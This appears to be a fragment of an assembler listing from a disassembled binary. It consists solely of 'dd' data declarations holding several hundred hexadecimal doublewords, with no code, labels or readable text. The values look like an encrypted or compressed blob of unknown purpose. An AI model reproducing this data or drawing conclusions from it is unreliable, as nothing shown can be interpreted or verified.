		dd 0CF79C72Eh, 0C97FAF30h, 3A31C936h, 3C40FCBEh, 0FDDDDB0Ch
		dd 0C9701D3Eh, 3834ED15h, 0D12FE3A5h, 0FD2F2478h, 0D9344520h
		dd 0D72544F2h, 4DF8B238h, 0B6342B3Bh, 0C92B32Fh, 22E21D5Fh
		dd 0F4528881h, 15E72E06h, 0C578B3Ah, 4E0E4653h,	54314F94h
		dd 1C439375h, 0C5B06D41h, 6561B33Dh, 0F7075291h, 73422277h
		dd 64C5265h, 0EBAFD6D7h, 91AB222Ch, 32583230h, 3636395Ch
		dd 0EDAA699h, 6F3F5710h, 57847C7Ah, 0E5DEDF3Fh,	0A75BA2AEh
		dd 5631AC16h, 39EB34ABh, 25E03405h, 2618F421h, 1E752D77h
		dd 3757187Bh, 5F6CF36Eh, 65353F0Bh, 30642137h, 0A43D67AAh
		dd 2C06EDBCh, 75623A2Eh, 207D1427h, 77E9C299h, 39563E2Fh
		dd 5E1614FEh, 880A5E5Eh, 7BCB2169h, 0E0AC2225h,	42F02ADh
		dd 0D10AA8C5h, 0E552E1E0h, 0EC1712B9h, 0C4B03939h, 0F33C3D79h
		dd 5901B1D8h, 306A529h,	56362D64h, 0C32E88A1h, 2A2A0430h
		dd 371B72D8h, 35462976h, 271E7DB1h, 7659396Ah, 3A91184Ch
		dd 6F6ABE52h, 6339C8A0h, 0EAF74C82h, 8FA3A1E7h,	3F197D6Dh
		dd 0D65850D3h, 10D49973h, 7C571251h, 5B0FB11h, 61703D74h
		dd 2474636Ah, 0EB6421E1h, 390EF45Eh, 0F9BBAB36h, 371C3192h
		dd 1D8C8DEh, 0D4203917h, 0ADFB251Eh, 204CF64Ah,	6622725h
		dd 3205662Dh, 0B67D1A8h, 452D2E2Dh, 2075CD32h, 2DF5E63h
		dd 251880D6h, 38973DFDh, 1ABA6E16h, 0CDD90284h,	38790692h
		dd 83A92933h, 4E7B21C0h, 10502913h, 651550D0h, 3D195FE2h
		dd 0FB1D56CAh, 0E621D327h, 1FE81C1Fh, 181D1A2Ch, 2D996931h
		dd 2D2D13ACh, 310A714Fh, 0AC056233h, 709FF07h, 0F7F3C0Ah
		dd 2C4C2A76h, 0C2202E49h, 81131014h, 291FEF11h,	15BF137Dh
		dd 9C517E2h, 180D3B32h,	7501770Fh, 4643B03h, 32617773h
		dd 45525E3Dh, 5D514D4Ch, 2A6525A7h, 22A2B06h, 0A7C610Dh
		dd 5D643A11h, 1824765Bh, 3C5F1F11h, 375B1B13h, 766B5F3Ch
		dd 33234D22h, 52060B0Dh, 42225D58h, 25044841h, 4B5D5310h
		dd 17237775h, 495F4A4Dh, 4B7EB4CDh, 0ACF5183Fh,	3745A121h
		dd 261E323h, 0C22D2837h, 2EFFA589h, 32E1F605h, 0F4A0DC32h
		dd 0FB069A37h, 0B6D53E3Bh, 0DC441BFDh, 6FB01C1Eh, 69AF23E2h
		dd 0EFA32F02h, 1AEE75E8h, 0F220EBADh, 2BB0452h,	5130B84Fh
		dd 3D83397Ah, 301ABF06h, 203B6294h, 42A6CA6Dh, 0E8A2D9DBh
		dd 43AB4229h, 452E2E69h, 33130725h, 0D630366Dh,	3F9B38B9h
		dd 7999D731h, 19FC1A9Ch, 27F24049h, 4522E0ECh, 332EEA14h
		dd 2D0E9BC4h, 93615451h, 5D656666h, 1D7A5B12h, 0B4581734h
		dd 341D0C9Bh, 7AA17D9Ah, 337121A3h, 0A86573A7h,	282D5E70h
		dd 0B86C6E70h, 22BF468h, 0F8796473h, 815BE27h, 1F741A73h
		dd 28205317h, 78182B22h, 21A17CB8h, 2D32A555h, 0FDD8BFAEh
		dd 0BE840172h, 0F8B3CE1Dh, 3DB7CCB1h, 1EF2FEC4h, 0E894BBEEh
		dd 27C2A121h, 767882D6h, 41148DEAh, 0BA582E22h,	0BE4FA03Ch
		dd 98BD4615h, 0B56CCBB2h, 288E8E49h, 92967BDCh,	3842305Eh
		dd 0C722251Ch, 30408D37h, 7402DDCh, 82E3B3C0h, 72F62080h
		dd 0C977196Eh, 0D76FAE9Eh, 1EFC9DBFh, 32A8760Ch, 2501C4CBh
		dd 2808BA01h, 0FEC52B8Bh, 643A312Eh, 0DE3DBD23h, 0B94BF8F7h
		dd 0B59D20FFh, 80F44BF0h, 0E176219Eh, 246531EBh, 9206051h
		dd 0A464333Eh, 0B130CFE5h, 0DD183290h, 4A2027A6h, 66FF6B32h
		dd 0DC0E2E87h, 7DFFDED0h, 0BC224275h, 0DB272525h, 0A8A24C82h
		dd 0F62FAA09h, 4475B332h, 69676236h, 3C1B2F38h,	2A9E1623h
		dd 1F2E16CDh, 675E5700h, 0D825B524h, 0BB08993Dh, 156C2558h
		dd 0B874B036h, 3F71BEF2h, 18BB9938h, 0BEAABD36h, 1F249D28h
		dd 2EC9231Fh, 6727F0CAh, 2B291226h, 0AE96F0C3h,	0FFB83829h
		dd 0BF3B3332h, 0A9710514h, 4CD5E425h, 0D8001AE9h, 22607D7Eh
		dd 5811ABBh, 333C9E3Ch,	372DC8CFh, 0E932FD5Bh, 583845D0h
		dd 0C62B8893h, 2D781F3Ch, 0C02EF69h, 475F974Ah,	0E10420C9h
		dd 0AEAB293Dh, 207C2929h, 2C0C2DC5h, 0B74A2BF1h, 4637C7CBh
		dd 0C2C5B936h, 1EF83440h, 0CFE042FCh, 0A030CA63h, 5AA62ADAh
		dd 29D4AA25h, 73BCD3Fh,	7F39DBF1h, 24761927h, 68BE47BAh
		dd 252D6CCBh, 0B21BFBDAh, 82696216h, 1CD7112Ah,	3C20899Ah
		dd 9FCEED27h, 583894AFh, 1EEF0773h, 0CA38385Dh,	37CD1032h
		dd 0CA98C984h, 3029EE34h, 0DF2BC2E3h, 0A2E5072Fh, 2D262B25h
		dd 154CA479h, 0CAB13322h, 6DB30940h, 0ED3D331Eh, 9F4D33B0h
		dd 6292E1D3h, 0D6082321h, 0E9A437AFh, 7CA32A2Dh, 0CC7EA5D2h
		dd 3C3BD8F0h, 384526BDh, 3D6BB229h, 33FBC3Ch, 9C1C4D94h
		dd 0AE2225E0h, 0F01D2330h, 2ACE3CD7h, 0AADE2E0Dh, 0B82944C6h
		dd 35E7B401h, 6CECC66Bh, 3C03EBC3h, 2DCF2F1Bh, 4157AADFh
		dd 474324A9h, 0F4B7EADh, 2E2DD3D4h, 7C8F3F2Dh, 3ED7F557h
		dd 0BAE93327h, 355D7A3Ah, 0DC975BEFh, 2224FFDFh, 25262362h
		dd 2505B5A4h, 7DE32A1Bh, 74A235C6h, 0B03B6810h,	0B52AAA34h
		dd 397DB036h, 1D13C7BDh, 0F1AF5368h, 7514AB2Dh,	201ACE1Dh
		dd 268A2819h, 0B3027389h
		dd 6623F0D1h, 9B6DCDDh,	3D0BBD29h, 0FFFBD95h, 4C46313Ch
		dd 2EE22D3Eh, 0A45244Eh, 0F9AF49E8h, 0C7A22B3Ah, 0F6317095h
		dd 365C4522h, 3C022FDEh, 0B31FB7D4h, 127D1DBAh,	9387C817h
		dd 40C53C83h, 9E68F32Fh, 0AA3E8D2Fh, 243576A6h,	37E0DC34h
		dd 3C61203Eh, 3FDEF8D3h, 0DDA823DAh, 7FF0261Fh,	259425BEh
		dd 0AD22B6C7h, 0CC195FEAh, 0B13F8F38h, 6754431Ah, 3C6940DEh
		dd 7AFD69ABh, 1CD9FE54h, 0C84B3A51h, 3423B041h,	0C44FEEC1h
		dd 0C7241B78h, 612D1E1Eh, 7C826332h, 6175DE51h,	3F6D0F3Ah
		dd 1BAD2D16h, 0DB76C59Ch, 27201054h, 48546734h,	2E8B485Fh
		dd 4B66586Dh, 27A35E59h, 0D941A30h, 9A3BFB38h, 5E3A3D02h
		dd 5F14FC68h, 9F3A201Fh, 37272422h, 1B72683Fh, 1C2C2D7Fh
		dd 3260948Fh, 51344C29h, 5B5A6B37h, 4D181455h, 30CDF216h
		dd 1BAE256Eh, 1F8219B9h, 13E91D8Bh, 160A11DCh, 0A631418h
		dd 0E400850h, 55F0B56h,	1BB07BAh, 208703B0h, 1CF622C1h
		dd 19161F0Eh, 15761B61h, 11E417E0h, 0E2B13F6h, 0AF70C9Dh
		dd 6DD08E4h, 3C105E4h, 197F3D3Dh, 220A21E4h, 0ABBB813Ch
		dd 47121808h, 67176DB1h, 73A6B40Ch, 0ABD2550Dh,	974A0840h
		dd 6B6B1A0h, 9BA65DA8h,	863DB026h, 0E61C9C97h, 1BF1B3C3h
		dd 0A2BE88FBh, 4ED911C7h, 3E0F34B8h, 2ABDA313h,	0ACD91C09h
		dd 9E01020Fh, 65901A1Bh, 211F774Ch, 252B2323h, 28284D27h
		dd 2C2D32C2h, 313247B8h, 0E3CBB330h, 53263797h,	3D24513Fh
		dd 1A1B7138h, 21750A1Dh, 100766ACh, 7835064Fh, 2D96ECC1h
		dd 38A40693h, 36B7F4F9h, 0DBDF128Fh, 0C3C43A82h, 2337BE01h
		dd 0F9E08E3h, 0A8746123h, 0AF33DADCh, 2B1929A8h, 70D1A8ECh
		dd 0F3AD3E6Eh, 283EC1BBh, 363A3637h, 3E2E853Ch,	0F651F3CBh
		dd 125F3019h, 4708AFD3h, 7D797E2Ch, 9E0B6543h, 3980E5BCh
		dd 3BD7BB17h, 832939E7h, 9C34FE0Ch, 5E15DD6Bh, 28EB4BF6h
		dd 0AD7EF2E0h, 0D039CCA0h, 21C46F03h, 509A26E2h, 0F4BC3AF1h
		dd 30F3243Fh, 23CDBBBh,	16147631h, 691D004Ah, 6D223C70h
		dd 0BCE1CE60h, 65233318h, 809EC66Bh, 6391A68h, 0AE3D172Ah
		dd 0C45FB02h, 5635D66Eh, 0AB1219AAh, 6FAB2924h,	723E1500h
		dd 2AA992C0h, 943E297Ch, 30322130h, 3436A0DDh, 3CFDAD6Bh
		dd 3F5F887Ch, 0BF209747h, 2152211Dh, 0ADF2DB2Bh, 0FA7DA137h
		dd 68A0340Fh, 0E272D83Fh, 97344332h, 323963F7h,	3A3C918Fh
		dd 1C181AA3h, 2921733Bh, 13202242h, 282C2666h, 252D2F0Fh
		dd 6BD4172Ch, 9D26373Fh, 2B393F37h, 7B736843h, 5D4C6B3Eh
		dd 75435B4Fh, 4151224Fh, 7C074A44h, 442B494Ch, 5F434143h
		dd 346F4B56h, 0F77A5736h, 563B3543h, 1BC756C2h,	1E1E5EA9h
		dd 27228044h, 0AE427524h, 0A82E290Dh, 791E25C0h, 59274167h
		dd 37385F33h, 2B503052h, 2C547256h, 9512765Bh, 0B2254AEEh
		dd 0D62C08B2h, 8AAFEF90h, 0A8EB2A99h, 2A813133h, 3AB405DBh
		dd 33B848B9h, 0D679C4B0h, 0D63A0A3Eh, 2B30E5F6h, 95EDC1CAh
		dd 113DD821h, 98F096Ah,	4079325Eh, 8447DB16h, 491CBB2Dh
		dd 0B628390Eh, 472F7FF9h, 0E49E58EFh, 2523C395h, 29272EE7h
		dd 2C244876h, 3FD02E22h, 0DC2BBB31h, 34F77Eh, 7FD36D31h
		dd 0F36E2C7Fh, 0FF1F7CE9h, 0B067520h, 0AE36E1A7h, 7C781148h
		dd 368D08C4h, 31DA3650h, 797AF4C1h, 0B27B6E30h,	7F1F2872h
		dd 6A3BBC0Fh, 7DE76B5Eh, 0E47E3C7Dh, 0D73A0D2Bh, 26C1AF63h
		dd 3323332Fh, 0B2353834h, 3D381834h, 103E3C36h,	130C1C3Eh
		dd 201C1C1Eh, 26242C25h, 2E296D64h, 752F2B3Ah, 3921282Fh
		dd 34523032h, 3A382531h, 3A3D1A4Eh, 9E183F2Dh, 200B191Ch
		dd 25B321A5h, 2B273322h, 3C2C2BB7h, 314525FDh, 344FDA61h
		dd 3137D639h, 0B8FC3869h, 0F3393B4Ch, 1F5E03CFh, 73FAA22h
		dd 0DF2536F3h, 2A2A9028h, 1C2C2D2Eh, 0EBB31F0h,	3634F084h
		dd 853292CBh, 3C9E6AD8h, 4FE15290h, 722E502Eh, 21E5CACBh
		dd 0EC4D28A7h, 0C2D14ABh, 0B6F2A420h, 3D3040E8h, 72993915h
		dd 2A3EEC37h, 1EB7F36Dh, 3AE048CEh, 0AFFFA72Eh,	112A532Eh
		dd 0AD30752Ah, 3D450DD7h, 347CB932h, 4D18CEB6h,	3C3C3635h
		dd 8D182D35h, 0A0FB6B18h, 2523A219h, 28E11851h,	5DFC2439h
		dd 3E3F432Dh, 243343D4h, 3846C53Bh, 0E63A3429h,	14312D9Ch
		dd 110E1D6Dh, 3322503Dh, 560D932Ah, 12243928h, 213E2D5Dh
		dd 5E324077h, 46633B24h, 58342938h, 312E3D4Dh, 1E6CC76Ah
		dd 535E2E0Fh, 0AB2B3423h, 68BC8BB5h, 8D6F5D04h,	0B134F127h
		dd 7C37F5AEh, 732C3AD9h, 0B4597539h, 0B7A33F3Fh, 8B229E67h
		dd 675154E0h, 3DEA37B2h, 0EF213066h, 30742D39h,	593E3366h
		dd 7FFA457Ch, 8F3EBB99h, 3545BDB0h, 0D80D9F54h,	721E33Dh
		dd 380362A8h, 2C0F5EA0h, 16C67E3Dh, 0BF313235h,	2C137AB5h
		dd 7E7DD268h, 1F3FB83Ch, 1F1C6AF5h, 36EAC22h, 20CE6900h
		dd 67022911h, 0E9322D08h, 224215B4h, 34363734h,	0C502CFD0h
		dd 35B568C3h, 6A121CD4h, 0CA252F1Fh, 2EE77D78h,	378A72ACh
		dd 0AD2D2172h, 6DB138C3h, 67903427h, 0D22167B6h, 7C9E3F63h
		dd 58181D3Fh, 0A171751Eh, 73CC3F21h, 8BA365A6h,	253FAB3Ah
		dd 94307F7Ch, 967BB3BAh, 37392137h, 0BE1BD322h,	559BF09Eh
		dd 6F9F0E97h, 1F93198Bh, 13CD1D93h, 10091631h, 0C62121Eh
		dd 8AB0E6Ah, 48E0AAAh, 0E706F7h, 27C402CCh, 22112018h
		dd 1E4A1C36h, 1A8A1850h, 152814F6h, 11421322h, 0D8B0FAEh
		dd 83B0BF0h, 4590613h, 0DD0241h, 1C1D23EDh, 462031D9h
		dd 0DA0F2537h, 2B9C2A07h, 2F2F702Ah, 5E991463h,	36D493DBh
		dd 0F638CC67h, 0A8173DCBh, 19341A3Eh, 32A01B1Fh, 3471A6CAh
		dd 283C3B27h, 592D3A66h, 0E4382E3Fh, 54E03226h,	38295430h
		dd 2DF3FAC6h, 2D07953Fh, 71DE9C96h, 0ECA88720h,	2916E5AEh
		dd 0A5748E29h, 0B9712A46h, 6F6EE222h, 9473EF7h,	233B49FAh
		dd 1B300D3Ah, 4C16542Fh, 0BE022920h, 0BD2A83Ch,	7E22A520h
		dd 27A825A3h, 3B9A3230h, 73EB73Fh, 393A1939h, 3D02B020h
		dd 3B5FDD4Fh, 60E435DDh, 8430E426h, 0AB3CE866h,	3BADC6EDh
		dd 0E624F479h, 23F763EFh, 5E2CFA17h, 86BE29FBh,	21A41FC2h
		dd 2125A71Dh, 251B819Dh, 9129273Fh, 89972B33h, 348B2F93h
		dd 60675B88h, 8DB36136h, 3E3CBF1Eh, 0BE12BCBFh,	350C998Dh
		dd 2DA04FC9h, 34A155h, 0AF72C23Dh, 7F299E24h, 71B9DA22h
		dd 3F973F36h, 0DD3282Ah, 3DD37BEh, 0F70F3A1Bh, 0A22BA23Dh
		dd 0F2FA1FBh, 0A823C138h, 3CA96525h, 0C616D93Fh, 3732F7B0h
		dd 353F3E39h, 1B6AB638h, 973D0CE1h, 63218027h, 874E0425h
		dd 1A21273Bh, 3FC52D2Bh, 355737EFh, 0A983DCFDh,	3D353CA6h
		dd 983C0CB0h, 1BB36439h, 5E26BA89h, 8B2A582Ch, 41782BE6h
		dd 8E89389Ah, 379F1328h, 339D1BDAh, 1E3E982Ah, 9548CDBFh
		dd 0BD25B43Ch, 14FF4F1Ah, 64A8708Bh, 0DEA26951h, 2829615Ch
		dd 13DEADF0h, 0F9B83441h, 0E78DE67h, 0CCD38C3Fh, 87290E3Ah
		dd 0C9C1609h, 37249102h, 0B2B7E517h, 704A2D77h,	3708E9AFh
		dd 31582281h, 3056EECEh, 0EE8C39E9h, 0EE8BDD3Ch, 494BB41Bh
		dd 0F7767116h, 26F45623h, 2AFCA41Dh, 2C2DFD90h,	3631E1A1h
		dd 36E56139h, 7739ED47h, 0EB5F3CEAh, 0CC498D3Fh, 21F54B1Eh
		dd 6324F2FDh, 30027F3h,	152CFB21h, 0E0412FFBh, 605F4832h
		dd 3D5BB70Ah, 7F183CBAh
		dd 0F987EB7Eh, 0A503915Fh, 6706AFh, 0A93C4538h,	420CAA0Dh
		dd 16AC09ACh, 34A3DEB0h, 0F9B43535h, 0B76D6F3Dh, 0B31B8A3Dh
		dd 71931E1Ch, 0D6CA655Eh, 0CFEB9466h, 0AE3369DFh, 0AA21ED2Ch
		dd 313233D7h, 750BF210h, 8F7C4F45h, 3D2BC29Ch, 951BBC8Bh
		dd 23DFA3EFh, 0A506E45Fh, 345DD7D9h, 0AB6A38E9h, 1914662Dh
		dd 0CD0ECA30h, 7BF0974Bh, 0FF794831h, 1D9990BFh, 8C36DF14h
		dd 65762C83h, 0C20C052h, 4F0C23CBh, 3F370A39h, 0F430F17Eh
		dd 2051E72Ah, 6C55F1A4h, 950A3F3Fh, 0AD1B3A69h,	0A422766Fh
		dd 28243615h, 0E4B0C22Ah, 7E12AE3Ch, 37B3F40Eh,	0B10BDE37h
		dd 16757AF8h, 0F33E3D3Ch, 0DD1D1F33h, 23212035h, 6604CD25h
		dd 0F1BA2863h, 3C102F3Ch, 640B3067h, 60631B35h,	3A6D1A39h
		dd 323F6A24h, 771F1D4Ch, 0AAD62148h, 86C92575h,	0CB287C27h
		dd 0FA2D8E86h, 3293507Dh, 0FD291537h, 0FA6B3A80h, 3F3D3C99h
		dd 0AFA907DEh, 80051B1Eh, 25848922h, 18FAD79Eh,	0D2D3F548h
		dd 14B94B7Eh, 55653732h, 4DB13772h, 0B3B13F1Eh,	820B06BDh
		dd 50D81F1Dh, 2723384Eh, 692DCE81h, 0D47A481h, 310FE82Ch
		dd 72DB2BB9h, 0B6BA2605h, 143A3F6Eh, 1909D625h,	1E1B5F1Dh
		dd 5A8C937h, 220B2426h,	3DC23F29h, 0BF008F2Dh, 177E3186h
		dd 8B57DD7Ch, 6B3AC6C7h, 731A71B1h, 1E2B9873h, 7320205Bh
		dd 0D991BECBh, 0EEAAD737h, 3ABD2C3Bh, 1631ACA7h, 34353547h
		dd 0BE8FB8DFh, 23DC3C4h, 0A7CEF37Bh, 0DE20AF1Eh, 27FC8B37h
		dd 2B7CAA27h, 0C67D3B3Eh, 21743F2Bh, 0E2CB6102h, 193DE7BFh
		dd 0E76C0739h, 95C5C68h, 67BD55FCh, 703B822Fh, 9B719E66h
		dd 0C3FAA28h, 272BEE39h, 551E1DE2h, 32C75C07h, 88EEB9B8h
		dd 0F3616139h, 0F43DE96h, 373D0934h, 2729252Bh,	0A06459B9h
		dd 0A321302Ch, 33A2B6B4h, 0B3390544h, 323AB90Dh, 8B53334h
		dd 0F64EBF9Bh, 670C3782h, 35C12A9Eh, 0AA708804h, 2783833h
		dd 20B289C7h, 162D6933h, 0D66A2B35h, 3CCD55D3h,	8F0005EFh
		dd 61227E7Ch, 216A23E2h, 43E1142Eh, 2DFE2B2Bh, 7DB9EEBAh
		dd 53DC1B16h, 397C372Dh, 0AE3C372Fh, 0AA37C3Dh,	0A31C341Dh
		dd 242BB225h, 79276AE9h, 0A77E2A7Ah, 663F0A41h,	4133B966h
		dd 306ABD31h, 3C1F66B0h, 0F41B325h, 3AC7F54Bh, 2BAD2421h
		dd 71B65A60h, 0E7663CD7h, 0ADE8A629h, 0CC73031h, 8FC90663h
		dd 2BD827CDh, 7BD3C3Ch,	1B106FBBh, 2222A009h, 43186321h
		dd 0AA2B08BDh, 0D1AEC255h, 32344E3Ch, 0F56A343Eh, 69863CBAh
		dd 3A1DDCFAh, 97DC14h, 0AC76263Fh, 7124A740h, 0FE7C79C4h
		dd 46228BF0h, 0F02412FFh, 0D01127B7h, 2AD82325h, 3C2C692Ah
		dd 0EFAAD38Dh, 6CF70A12h, 37C362A1h, 1A245441h,	0A73A4A10h
		dd 0A1BB0E15h, 0B4FFB9B6h, 81352BCh, 0DD27D269h, 0F3F43629h
		dd 0EF217C00h, 0F8112220h, 70D51E24h, 0EB182E5Dh, 6FF46BC5h
		dd 3F9B71AEh, 0FDF6F9DCh, 397AA86Eh, 7EA2B42Ch,	7E73F413h
		dd 86493841h, 0E641C41Fh, 7A7A6844h, 362E6C0Ah,	0D23901C7h
		dd 4118064h, 0B15C18AFh, 3E5EFCF5h, 59F41A3Ah, 0A0301A9Fh
		dd 0CC2FB75Bh, 2B6E3627h, 0AC86AA30h, 972C0B2Ch, 5A933D33h
		dd 0D1A35B7h, 103EBA1Fh, 26339A3Ch, 6ADC1C9Ch, 6A2BA368h
		dd 5122A778h, 882EAB6Ch, 1F562C04h, 7F6FB016h, 6FB234B4h
		dd 1C35BB10h, 703DBFACh, 0DC073CD8h, 2A63209Fh,	7A78DD26h
		dd 8E286990h, 9043072Dh, 32322D1Dh, 0FE050BD5h,	3FC2BA70h
		dd 0A0B93D33h, 3AE21F1Bh, 0F265B49Ah, 6269A461h, 46882003h
		dd 88D3D22h, 32B7B520h,	3A117821h, 1E78B1A7h, 0FF2E5D82h
		dd 29173B18h, 0AC713E8Fh, 65701152h, 9E5E350h, 1971EA2Bh
		dd 0FFBBFF7Eh, 2C2467BBh, 58B21764h, 0D53433B3h, 981BAF25h
		dd 0AF546ADDh, 0AAC20740h, 51B62795h, 5C33C221h, 0F0AABE1Bh
		dd 32323D44h, 390608DDh, 3F9A2A1Fh, 14043CA6h, 333A4991h
		dd 0FB4A70A8h, 0CF743225h, 61112D2Dh, 0AB392D31h, 62620432h
		dd 93021534h, 2439F550h, 203F39DAh, 1E721D0Bh, 0D605AC92h
		dd 0CE752723h, 0D4204627h, 0AA1A7D4h, 0B2347203h, 12B1F226h
		dd 3B3AB81Fh, 5D799C63h, 1D9F5FB4h, 74732BF2h, 41004FA9h
		dd 12F31426h, 970A2C1h,	0B53F6F6Ah, 3734322Fh, 3974A5B6h
		dd 0C3E014D2h, 13DBBAC1h, 20139A19h, 4C747429h,	6C011A81h
		dd 702B8CA9h, 3F2F7E7Eh, 0C2330151h, 0C6EDEFDDh, 6D3FEAFCh
		dd 0C8FFE16h, 5E4F1297h, 65AB3563h, 0F533AE0Ch,	0C3D67B2Fh
		dd 7E561EEEh, 3C64FD79h, 0A9363A38h, 13EB5879h,	2D4BFC07h
		dd 62CD553Ah, 19303894h, 7678F4E1h, 0EA1AEB2Bh,	0D128D308h
		dd 4FF1B52Ch, 969654F0h, 0FDFCF931h, 5F397AF7h,	1D197B3Fh
		dd 3E36DE1Fh, 2B612227h, 0EEE114E7h, 2F3C2A2Ah,	0B8631FCEh
		dd 7DBD3A7Ah, 71B0F727h, 3074B23Eh, 432D2E51h, 2E725E1Ch
		dd 93FBDD56h, 6CD1D925h, 582A220Dh, 0D8792E24h,	3431FEECh
		dd 0FD36364Ch, 1C2A3A98h, 0DC3D3E3Dh, 706A1D8Dh, 2122494Bh
		dd 1524D42Bh, 29CA2BD8h, 2DDF2865h, 3333038h, 52554D51h
		dd 524E4938h, 7F7E5353h, 5B5C1C4Ah, 7463615Fh, 0F63C6413h
		dd 1A682926h, 7A240C22h, 5D394247h, 0E203686h, 3B793A32h
		dd 761E3C39h, 0DD8910BAh, 2AA5CF0Eh, 2134E452h,	804AE2D2h
		dd 0B6292FEAh, 0B5962E2Fh, 3BBC823Ch, 30BD7F3Ch, 38393EDAh
		dd 4D633C3Eh, 211F1B18h, 2F2EE2ACh, 9D312724h, 2D0A2B28h
		dd 312F022Ch, 0D430522Eh, 6AF76E13h, 0D42272B4h, 0BB3D3EF1h
		dd 4E0E9D00h, 0CB4E6CADh, 0A2328593h, 0CA0228A8h, 0E6C62E25h
		dd 913393E2h, 35379474h, 3A9982D0h, 173F9C64h, 0BDB0F41Ah
		dd 7E81501Eh, 868BCC03h, 302B29A6h, 6C0D19EBh, 4ED93807h
		dd 0C2AD34C1h, 0B0D13137h, 0F83DCE57h, 0F5161BCBh, 320ED42h
		dd 2E24D7D6h, 29DA6BCEh, 0DE7D2908h, 0DD8232Eh,	0C16433C0h
		dd 0D12C3A36h, 433CC916h, 0F4153FCAh, 20ED5B01h, 2B23D68Dh
		dd 28D62ACDh, 3F0F8A6Dh, 71E452D8h, 3834CD8Ch, 9383A35h
		dd 0B30A576h, 6B46D35h,	4A2A6C99h, 0CBCF0100h, 7D767EF2h
		dd 3B29C12Ch, 0D5A5DD16h, 0DB36E2CFh, 1C36C5F2h, 0EC216CFEh
		dd 0B99E5534h, 4E4F2D9Bh, 93830BF7h, 4C702453h,	0B29882Dh
		dd 12A0AC6Bh, 3275D8E5h, 0C623BF29h, 315931F7h,	78365E37h
		dd 3C3D4C0Fh, 19769474h, 664FC570h, 55607ABh, 0EC74C37Dh
		dd 303C69FAh, 4837A670h, 7FFF6028h, 3D3F7B36h, 2C5DF83Dh
		dd 20F72A7Dh, 0DBDFDCF6h, 0C9CF244Fh, 0CEF2AAAh, 0F7E7A57Bh
		dd 74331675h, 0F6DF3235h, 3CC4C6F6h, 4B3B70B0h,	6E76A44Dh
		dd 22226560h, 0D7EB49CCh, 0F3E6528h, 132FCD28h,	0DBCD2370h
		dd 0CBFF1DC4h, 363EF8C7h, 1B6A3998h, 19772C5Bh,	0A048C84Dh
		dd 0A2643827h, 0A616ACB4h, 0B2A5BF0Bh, 0A0D19410h, 56890B87h
		dd 5AC9125Ah, 0EB5DBC65h, 31411B33h, 1160972Eh,	497F636Eh
		dd 72685716h, 776CAF40h, 0E168AF8Eh, 633465F2h,	6DFA722Ah
		dd 4D6F3B7Ah, 4C9B470Fh, 6F5F1FA1h, 162B13F9h, 0C8422CEDh
		dd 4049E651h, 339E36AFh, 317A3B31h, 78321EB7h, 3D723F38h
		dd 6B5A5B76h, 735F4D31h, 22B35749h, 2727BD2Ch, 43492C68h
		dd 5F454359h, 673234B8h, 44585446h, 2B485C5Eh, 5C507811h
		dd 1E272D09h, 2EE4A119h, 0D426E410h, 0A7BD821h,	3BD22E2Bh
		dd 33D231E7h, 70BCF708h, 0F1D4D23h, 7E303F75h, 11AE4D3Ch
		dd 4B7615B9h, 5BAD1122h
		dd 3176AE2Eh, 31723BA3h, 857069E9h, 356ABA31h, 1566BE06h
		dd 0B41465B3h, 952F613Eh, 7E962643h, 0BE21B264h, 0A111512h
		dd 7C2E3B1Ch, 3E0CF8D2h, 357132D8h, 0ACBC3385h,	3A1D361Dh
		dd 13D73A6Fh, 3B5A1B2Eh, 71F6493Ch, 0CF71A46Bh,	3B2C1B69h
		dd 54F12B19h, 35013C40h, 8D0845D4h, 83D3B5Ah, 0F5D6F3Ah
		dd 4E2C0D1Dh, 83712812h, 77264E6Ah, 4EF9789Eh, 0D10E9FD0h
		dd 3633CE2Dh, 24B36C2h,	29763AC8h, 187D2F7Ah, 0E089E6Ah
		dd 21567969h, 0EC2A110Ah, 9C0021D9h, 0A600702Bh, 0B2234E1Bh
		dd 21B70F26h, 853EBCE0h, 297D1378h, 4D285569h, 48346BEEh
		dd 2E4273A9h, 963024Dh,	207B046Bh, 45EC0E16h, 754B5A5Dh
		dd 1A22C934h, 38309855h, 0CC4EFE0Eh, 0B5ED99Fh,	823CA9E3h
		dd 61228530h, 2A12AA28h, 91213C52h, 3758253Eh, 65423B34h
		dd 2BD1313Ah, 0AF469C38h, 7A1D9C2Ch, 0DD21A0CCh, 0EC415AE1h
		dd 0BF28688Fh, 0AC3B6D8Ah, 9C97EB20h, 5E772272h, 3B7947D6h
		dd 6A615D77h, 633E9818h, 7C20BEB6h, 0EF2C1360h,	1A2DA662h
		dd 0D1A20DE8h, 2F12BA8Ch, 0F5E397A6h, 3F590833h, 3DBCE790h
		dd 0E1BEB3Fh, 801EDE08h, 0A5CF3570h, 9803AA3Bh,	3F2CAC78h
		dd 310CF6C5h, 2037C541h, 0BF3DE21h, 38CCAA38h, 5E8FD628h
		dd 685E1C2Fh, 0BFCA3722h, 568E2417h, 0C33D2B5Fh, 8E2F1EA4h
		dd 2B3305FDh, 442DD20h,	394D4139h, 0B9280D2Bh, 1239AF2Eh
		dd 22A02BA1h, 265511E2h, 284C41C1h, 0BB2C696Bh,	7791357Fh
		dd 37755432h, 3BAC5332h, 0E6B21C6Eh, 8C8C1AAAh,	2161841Fh
		dd 25654E81h, 792D868Dh, 2D5D982Dh, 5C8B0CDEh, 0F4F73273h
		dd 0F21C3736h, 7D3E7B35h, 7C0B919Eh, 0C03EF61Fh, 39CB7223h
		dd 1B0798E7h, 355FE912h, 7AAF3A2Ch, 20B22623h, 30B354D9h
		dd 0BC383AD3h, 0B1B42B6h, 7F23F9A2h, 2CA9212Ch,	0AD2264AFh
		dd 0E12AA338h, 335B3B16h, 2346FA0Ah, 3666BF20h,	3AF86039h
		dd 8B56631Ch, 4FB51DDAh, 23E3B2F7h, 1B22062Fh, 0E7012C35h
		dd 27CC08C3h, 0B838B1B9h, 3C759DB5h, 33DD6865h,	2A3A0EBBh
		dd 0ADB9198Eh, 3F122F16h, 3B168968h, 5471870Eh,	120872AFh
		dd 3E30201Ch, 32343C32h, 6D3D2939h, 0EEC1F28h, 10CAD587h
		dd 306A0F24h, 0E5A26220h, 0D1A62FC4h, 25F933C3h, 3330EDC0h
		dd 7653121h, 3B701FC3h,	3F082B4Dh, 903C787Dh, 19FB5ADAh
		dd 4F33261Fh, 859EDA17h, 136AA908h, 3E5A2C2Ch, 0E22C335h
		dd 7AD68D34h, 554A3C5Ah, 0B7FEC339h, 63F99A6Dh,	4221852Eh
		dd 221523CAh, 0C3452885h, 302CD559h, 0E303CF6Fh, 333A30DCh
